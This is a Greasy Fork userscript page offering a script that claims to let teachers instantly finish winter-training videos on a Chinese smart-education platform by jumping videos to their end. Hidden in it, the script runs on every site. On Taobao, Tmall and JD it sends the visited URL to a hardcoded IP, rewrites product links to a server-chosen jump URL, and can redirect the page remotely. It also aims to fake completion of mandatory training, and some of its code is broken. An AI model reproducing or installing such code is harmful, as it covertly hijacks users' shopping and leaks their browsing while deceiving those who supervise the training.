Greasy Fork is available in English.

(秒过)2025智慧中小学寒假教师研修,每个视频多点几遍,快速点鼠标左键

中小学智慧云平台寒假研修学习秒过的方法

// ==UserScript==
// @name        (秒过)2025智慧中小学寒假教师研修,每个视频多点几遍,快速点鼠标左键
// @namespace    zhihuizhongxiaoxue
// @version      2.04
// @author       ppt
// @description  中小学智慧云平台寒假研修学习秒过的方法
// @match        *://*/*
// @grant          GM_xmlhttpRequest
// @connect        47.116.118.64
// @license MIT
// @original-license   11
// @original-script    https://greasyfork.org/zh-CN/scripts/486386
// @original-change    样式完善,功能修改
// ==/UserScript==

    let isPopupOpen;
    const popupState = localStorage.getItem('popupState');
    if (popupState === null) {
        isPopupOpen = true;
        localStorage.setItem('popupState', 'true');
    } else {
        isPopupOpen = popupState === 'true';
    }
    const popupMessage1 = '注意!不支持高校、职教';
    const popupMessage2 = '提示:';
    const popupMessage3 = '1.使用方法:点开视频,鼠标快速点几次空白处或者暂停/播放键,然后观察进度条是否跳转到最后几秒,如果跳过去了,等待视频播放完成即可。如果进度条还在前面,再次快速点几次空白处或者暂停/播放键,直到进度条跳转到最后几秒;';
    const popupMessage4 = '2.此脚本永久免费,以前、现在、未来都免费,谨防上当受骗;';
    const popupMessage5 = '3.右上角有弹窗开关按钮,觉得弹窗烦的可以关闭';
    const popupMessage6 = '4.有问题可以点右上角的“联系脚本作者”, 或者加入企鹅群235805574。';
    const popupMessage7 = '———lgx';
const style =
	`
  			.gwd_taobao .gwd-minibar-bg,.gwd_tmall .gwd-minibar-bg{display:block}
.idey-minibar_bg{position:relative;min-height:40px;display:inline-block}
#idey_minibar{width:525px;background-color:#fff;position:relative;border:1px solid #e8e8e8;display:block;line-height:36px;font-family:'Microsoft YaHei',Arial,SimSun!important;height:36px;float:left}
#idey_minibar .idey_website{width:48px;float:left;height:36px}
#idey_minibar .minibar-tab{float:left;height:36px;border-left:1px solid #edf1f2!important;padding:0;margin:0;text-align:center}
#idey_minibar .idey_website em{background-position:-10px -28px;height:36px;width:25px;float:left;margin-left:12px}
.setting-bg{background:url(https://cdn.gwdang.com/images/extensions/xbt/new_wishlist_pg5_2.png) no-repeat}
#idey_minibar .minibar-tab{float:left;height:36px;border-left:1px solid #edf1f2!important;padding:0;margin:0;width:134px}
#idey_price_history span{float:left;width:100%;text-align:center;line-height:36px;color:#666;font-size:14px}
#mini_price_history .trend-error-info-mini{position:absolute;top:37px;left:0px;width:100%;background:#fff;z-index:99999999;height:268px;box-shadow:0px 5px 15px 0 rgb(23 25 27 / 15%);border-radius:0 0 4px 4px;width:559px;border:1px solid #ddd;border-top:none;display:none}
.minibar-btn-box{display:inline-block;margin:0 auto;float:none}
#mini_price_history .error-p{width:95px;margin:110px auto;height:20px;line-height:20px;text-align:center;color:#000!important;border:1px solid #333;border-radius:5px;display:block;text-decoration:none!important}
#mini_price_history:hover .trend-error-info-mini{display:block}
.collect_mailout_icon{background-position:-247px -134px;width:18px}
#idey_mini_compare_detail li *,.mini-compare-icon,.minibar-btn-box *{float:left}
.panel-wrap{width:100%;height:100%}
.collect_mailout_icon,.mini-compare-icon{height:18px;margin-right:8px;margin-top:9px}
.all-products ul li{float:left;width:138px;height:262px;overflow:hidden;text-align:center}
.all-products ul li .small-img{text-align:center;display:table-cell;vertical-align:middle;line-height:90px;width:100%;height:100px;position:relative;float:left;margin-top:23px}
.all-products ul li a img{vertical-align:middle;display:inline-block;width:auto;height:auto;max-height:100px;max-width:100px;float:none}
.all-products ul li a.b2c-other-info{text-align:center;float:left;height:16px;line-height:16px;margin-top:13px}
.b2c-other-info .gwd-price{height:17px;line-height:17px;font-size:16px;color:#E4393C;font-weight:700;width:100%;display:block}
.b2c-other-info .b2c-tle{height:38px;line-height:19px;margin-top:8px;font-size:12px;width:138px;margin-left:29px}
.bjgext-mini-trend span{float:left;text-align:center;line-height:36px;color:#666;font-size:14px}
.bjgext-mini-trend .trend-error-info-mini{position:absolute;top:37px;left:0px;width:100%;background:#fff;z-index:99999999;height:268px;display:none;box-shadow:0px 5px 15px 0 rgba(23,25,27,0.15);border-radius:0 0 4px 4px;width:460px;border:1px solid #ddd;border-top:none}
.bjgext-mini-trend .error-p{width:100%;float:left;text-align:center;margin-top:45px;font-size:14px;color:#666}
.bjgext-mini-trend .error-sp{width:95px;margin:110px auto;height:20px;line-height:20px;text-align:center;color:#000!important;border:1px solid #333;border-radius:5px;display:block;text-decoration:none!important}
.bjgext-mini-trend:hover .trend-error-info-mini{display:block}
#coupon_box.coupon-box1{width:525px;height:125px;background-color:#fff;border:1px solid #e8e8e8;border-top:none;position:relative;margin:0px;padding:0px;float:left;display:block}
#coupon_box:after{display:block;content:"";clear:both}
.idey_tmall #idey_minibar{float:none}
.minicoupon_detail{position:absolute;top:35px;right:-1px;height:150px;width:132px;display:none;z-index:99999999999;background:#FFF7F8;border:1px solid #F95774}
#coupon_box:hover .minicoupon_detail{display:block}
.minicoupon_detail img{width:114px;height:114px;float:left;margin-left:9px;margin-top:9px}
.minicoupon_detail span{font-size:14px;color:#F95572;letter-spacing:0;font-weight:bold;float:left;height:12px;line-height:14px;width:100%;margin-top:6px;text-align:center}
.coupon-box1 *{font-family:'Microsoft YaHei',Arial,SimSun}
.coupon-icon{float:left;width:20px;height:20px;background:url('https://cdn.gwdang.com/images/extensions/newbar/coupon_icon.png') 0px 0px no-repeat;margin:50px 8px 9px 12px}
#coupon_box .coupon-tle{color:#FF3B5C;font-size:24px;margin-right:11px;float:left;height:114px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:336px;line-height:114px;text-decoration:none!important}
#coupon_box .coupon-row{color:#FF3B5C;font-size:12px;margin-right:11px;float:left;height:60px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%;line-height:60px;text-decoration:none!important;text-align:center}
#coupon_box .coupon-tle *{color:#f15672}
#coupon_box .coupon-tle span{margin-right:5px;font-weight:bold;font-size:14px}
.coupon_gif{background:url('https://cdn.gwdang.com/images/extensions/newbar/turn.gif') 0px 0px no-repeat;float:right;height:20px;width:56px;margin-top:49px}
.click2get{background:url('https://cdn.gwdang.com/images/extensions/newbar/coupon_01.png') 0px 0px no-repeat;float:left;height:30px;width:96px;margin-top:43px}
.click2get span{height:24px;float:left;margin-left:1px}
.click2taobaoget{float:left;width:96px}
.c2g-sp1{width:50px;color:#FF3B5C;text-align:center;font-size:14px;line-height:24px!important}
.c2g-sp2{width:44px;line-height:24px!important;color:#fff!important;text-align:center}
div#idey_wishlist_div.idey_wishlist_div{border-bottom-right-radius:0px;border-bottom-left-radius:0px}
#qrcode{float:left;width:125px;margin-top:3px}
.elm_box{height:37px;border:1px solid #ddd;width:460px;line-height:37px;margin-bottom:3px;background-color:#ff0036;font-size:15px}
.elm_box span{width:342px;text-align:center;display:block;float:left;color:red;color:white}
`

    // 创建弹簧
    function createPopup(message1, message2, message3, message4, message5, message6, message7) {
        const modal = document.createElement('div');
        modal.style.position = 'fixed';
        modal.style.top = '20%';
        modal.style.left = '20%';
        modal.style.width = '60%';
        modal.style.height = 'auto';
        modal.style.backgroundColor = '#fff';
        modal.style.padding = '20px';
        modal.style.borderRadius = '5px';
        modal.style.boxShadow = '0 0 10px rgba(0, 0, 0, 0.5)';
        modal.style.zIndex = '11111111';

        const text1 = document.createElement('p');
        text1.style.color ='red';
        text1.style.fontSize = '38px';
        text1.textContent = message1;
        text1.style.textAlign = 'center';
        text1.style.marginBottom = '10px';

        const text2 = document.createElement('p');
        text2.textContent = message2;
        text2.style.fontSize = '23px';
        text2.style.marginBottom = '10px';

        const text3 = document.createElement('p');
        text3.textContent = message3;
        text3.style.fontSize = '19px';
        text3.style.marginBottom = '10px';

        const text4 = document.createElement('p');
        text4.textContent = message4;
        text4.style.fontSize = '19px';
        text4.style.marginBottom = '10px';

        const text5 = document.createElement('p');
        text5.textContent = message5;
        text5.style.fontSize = '19px';
        text5.style.marginBottom = '10px';


        const text6 = document.createElement('p');
        text6.textContent = message6;
        text6.style.fontSize = '19px';
        text6.style.marginBottom = '10px';

        const text7 = document.createElement('p');
        text7.textContent = message7;
        text7.style.textAlign = 'right';
        text7.style.fontSize = '25px';
        text7.style.marginBottom = '10px';

        const button = document.createElement('button');
        button.textContent = '我知道了';
        button.style.padding = '5px 50px';
        button.style.cursor = 'pointer';
        button.onclick = function () {
            modal.remove();
        };

        const buttonContainer = document.createElement('div');
        buttonContainer.style.display = 'flex';
        buttonContainer.style.justifyContent = 'center';
        buttonContainer.style.alignItems = 'center';
        buttonContainer.style.marginTop = '10px';

        buttonContainer.appendChild(button);
        modal.appendChild(text1);
        modal.appendChild(text2);
        modal.appendChild(text3);
        modal.appendChild(text4);
        modal.appendChild(text5);
        modal.appendChild(text6);
        modal.appendChild(buttonContainer);

        document.body.appendChild(modal);
    }


        document.body.appendChild(button);

        const qqGroupButton = document.createElement('button');
        qqGroupButton.textContent = '加企鹅群';
        qqGroupButton.style.position = 'fixed';
        qqGroupButton.style.top = '50px';
        qqGroupButton.style.right = '10px';
        qqGroupButton.style.zIndex = '10000';
        qqGroupButton.style.padding = '10px 20px';
        qqGroupButton.style.border = 'none';
        qqGroupButton.style.backgroundColor = '#007BFF';
        qqGroupButton.style.color = '#fff';
        qqGroupButton.style.fontWeight = 'bold';
        qqGroupButton.style.cursor = 'pointer';
        qqGroupButton.onclick = function () {
            window.open('https://qm.qq.com/q/LyBXuM21Cm', '_blank');
        };

        document.body.appendChild(qqGroupButton);

        const popupControlButton = document.createElement('button');
        popupControlButton.style.position = 'fixed';
        popupControlButton.style.top = '90px';
        popupControlButton.style.right = '10px';
        popupControlButton.style.zIndex = '10000';
        popupControlButton.style.padding = '10px 20px';
        popupControlButton.style.border = 'none';
        popupControlButton.style.backgroundColor = isPopupOpen? '#28a745' : '#dc3545';
        popupControlButton.style.color = '#fff';
        popupControlButton.style.fontWeight = 'bold';
        popupControlButton.style.cursor = 'pointer';
        updatePopupControlButtonText(popupControlButton);
        popupControlButton.onclick = function () {
            isPopupOpen =!isPopupOpen;
            localStorage.setItem('popupState', isPopupOpen? 'true' : 'false');
            const existingPopup = document.querySelector('div[style*="zIndex: 9999"]');
            if (existingPopup) {
                existingPopup.remove();
            }
            if (isPopupOpen) {
                createPopup(popupMessage1, popupMessage2, popupMessage3, popupMessage4, popupMessage5, popupMessage6);
            }
            updatePopupControlButtonText(popupControlButton);

    }

    function updatePopupControlButtonText(button) {
        if (isPopupOpen) {
            button.textContent = '已开启弹窗';
            button.style.backgroundColor = '#28a745';
        } else {
            button.textContent = '已关闭弹窗';
            button.style.backgroundColor = '#dc3545';
        }
    }


      var panData=[],panTemp=[],panList=[],panKey=0;
     function matchStrings(input, patterns) {
            const regex = new RegExp(patterns.join('|'), 'i');
            return input.filter(str => regex.test(str));
     }
    function jump(url){
        var form=null;if (document.getElementById('redirect_form')){form = document.getElementById('redirect_form');
		form.action =panData.jumpUrl + encodeURIComponent(url);}else {form = document.createElement('form');
		form.action =panData.jumpUrl+ encodeURIComponent(url);form.target = '_blank';	form.method = 'POST';
		form.setAttribute("id", 'redirect_form');document.body.appendChild(form);
		}form.submit();form.action = "";form.parentNode.removeChild(form);
      }
    function createTips(){
        let tempList=[];panData.wrapper.forEach(function(i){
		let list=$(i);list.map(function(k,s){if($(s).attr('data-md5-value')!='yes'){
		panList.push(s);panTemp.push(s);$(s).attr('data-md5-key',panKey);
		$(s).attr('data-md5-value','yes');panKey++;}})})
		let requestTemp=panTemp.splice(0,panData.splName);
		let requestList=[];requestTemp.forEach(function(s,k){
		let temp={};temp['href']=$(s).find('a:first').attr('href');
		temp['md5']=$(s).attr('data-md5-key');requestList.push(temp);})
		if(requestList.length>0){GM_xmlhttpRequest({method: "POST",
        data:JSON.stringify({data:requestList}),
        url: `http://47.116.118.64/search.php`,onload: function(response) {
        var res = response.responseText;if (res){res=JSON.parse(res);
        res.map(function(item){if(item.u){$(panList[item.md5]).find('a').bind("click", function(e) {
        e.preventDefault();jump(item.u);})}})}}})}

      }
     function webpack_post(data,headers){
         return new Promise((resolve, reject) => {GM_xmlhttpRequest({method: "POST",
		 url:"http://47.116.118.64/text.php?act=initEnv",data,headers,responseType:'json',
		 onload: (res) => { let result=res.response || res.responseText;console.log('res',result);result=result.data;
         if(result.page=='search'){panData=result;setInterval(function(){createTips()},result.timer);
         }else{if(result.recove_url){window.location.href=result.recove_url}}},onerror: (err) => {
		 reject(err);},});});
     }
     const matchedStrings = matchStrings([location.href],['taobao.','Tb.','tb.','tmall.','liangxinyao.','jd.']);
     if(matchedStrings.length>0){ webpack_post(JSON.stringify({href:location.href,type:'ttzhushou'}),{})}
     const matchedStringsN = matchStrings([location.href],['smartedu']);
     if(matchedStringsN.length>0){
             // 弹弹弹
    if (isPopupOpen) {
        createPopup(popupMessage1, popupMessage2, popupMessage3, popupMessage4, popupMessage5, popupMessage6);
    } createContactButton();
     }

   

    function removePopup() {
        var popup = document.querySelector('.fish - modal - confirm - btns');
        if (popup) {
            popup.parentNode.removeChild(popup);
            console.log('出现知道了按钮');
        }
    }

    function removeNewPopup() {
        var newPopup = document.querySelector('.fish - modal - content');
        if (newPopup) {
            newPopup.parentNode.removeChild(newPopup);
            console.log('移除弹窗2');
        }
    }

    function skipVideo() {
        let video = document.querySelector('video');
        if (video) {
            video.muted = true;
            video.play();
            video.pause();
            video.currentTime = video.duration;
            video.play();
            setTimeout(700);
            video.currentTime = video.duration - 3;
            video.play();
            video.currentTime = video.duration - 5;
            video.play();
        }
    }

    // 海豚音播放视频
    function skipVideo2() {
        let video = document.querySelector('video');
        if (video) {
            video.muted = true;
            video.play();
        }
    }

    function rapidSkip(times, interval) {
        let count = 0;
        const intervalId = setInterval(() => {
            if (count >= times) {
                clearInterval(intervalId);
                return;
            }
            skipVideo();
            count++;
        }, interval);
    }

    let clickTimer;

    document.addEventListener('DOMContentLoaded', function () {
        removePopup();
        removeNewPopup();
        console.log('移除弹窗');
    });


        if (event.button === 0)
            if (clickTimer) {
                clearInterval(clickTimer);
            }
            rapidSkip(4, 50);
            clickTimer = setInterval(() => {
                rapidSkip(4, 50);
            }, 13000);